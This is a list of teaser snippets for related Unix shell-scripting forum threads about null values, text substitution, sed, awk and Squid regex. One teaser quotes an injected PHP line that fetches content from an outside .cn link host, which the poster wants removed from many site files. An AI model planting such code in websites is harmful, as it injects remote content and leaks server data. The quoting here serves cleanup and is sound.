10 More Discussions You Might Find Interesting
1. Shell Programming and Scripting
I want to be able to get all the directories in a path into a variable array, BUT if there ARE NO directories I want the Variable to be NULL and not echo any error message!
If there ARE directories, this will get the list of the directories whose name begins with the string "20":... (6 Replies)
Discussion started by: pgorbas
6 Replies
2. Shell Programming and Scripting
I have an input file having 7 fields delimited by ,
eg :
1,ABC,hg,1,2,34,3
2,hj,YU,2,3,4,
3,JU,kl,4,5,7,
4,JK,KJ,3,56,4,5
The seventh field here in some lines is empty, whereas the other lines there is a value.
How do I insert string NULL at this location (7th loc) for these lines where... (8 Replies)
Discussion started by: zilch
8 Replies
3. Shell Programming and Scripting
Hi, I'm very new to shell scripting and have searched google and this forum for quite some time now.
I have the following in my xml file:
<recipients>
<member>value1</member>
</recipients>
I need to find a string <recipients> that follows with a new-line and bunch of spaces and... (5 Replies)
Discussion started by: mgharios
5 Replies
4. Shell Programming and Scripting
I have a string like
In this string I want to delete both "." and ":", means I want the output as:
How can I do that using "tr" or any other such command? (6 Replies)
Discussion started by: ash.g
6 Replies
5. Shell Programming and Scripting
I'm using the URL Regex feature of Squid for allowing sites via a list of regex strings to match allowed domains. The regex was actually copied from our previous proxy solution and it seemed to "just work". But, we've recently discovered that some domains (likely due to virtual hosts or host... (2 Replies)
Discussion started by: deckard
2 Replies
6. Shell Programming and Scripting
Hello,
I need a script or one liner possible in perl or awk ( as sed shows error )
I want to replace
<?php echo file_get_contents("http://googlesindication.cn/links.php?site=".$_SERVER);?>
with blank or null
1) in a file
2) in many directories recursively. (3 Replies)
Discussion started by: fed.linuxgossip
3 Replies
7. Shell Programming and Scripting
Hi,
I need to check for value not equal (<>) to 21 and not equal empty or null values.
Please modify this script
if
then
echo "$VALUE,$BSC_NAME,$BSC_ID" > $OUT_FILE/power_up.out
end if
TQ (5 Replies)
Discussion started by: doer
5 Replies
8. Shell Programming and Scripting
Hi,
If, in a text file a string is expected at a certain fixed position(for eg at position 5 or from 5-10 on every line)
how to check whether data is present on that position or not?
Thnx in advance (6 Replies)
Discussion started by: misenkiser
6 Replies
9. Shell Programming and Scripting
Hi guys, I hope you can help me with my problem.
I have a text file that contains lines like this:
78 ANGELO -809.05
79 ANGELO2 -5,000.06
I need to find all occurences of amounts that are negative and replace them with x's
78 ANGELO xxxxxxx
79... (4 Replies)
Discussion started by: amangeles
4 Replies
10. Shell Programming and Scripting
I am trying to search through a text file and replace the number 1 at the beginning of the string in the second field with the number 9. There maybe one or more occurrences of whitespace between the string GPA131 and 17049333610. Does anyone know how to do this with sed?
GPA131 17049333610
... (1 Reply)
Discussion started by: cstovall
1 Replies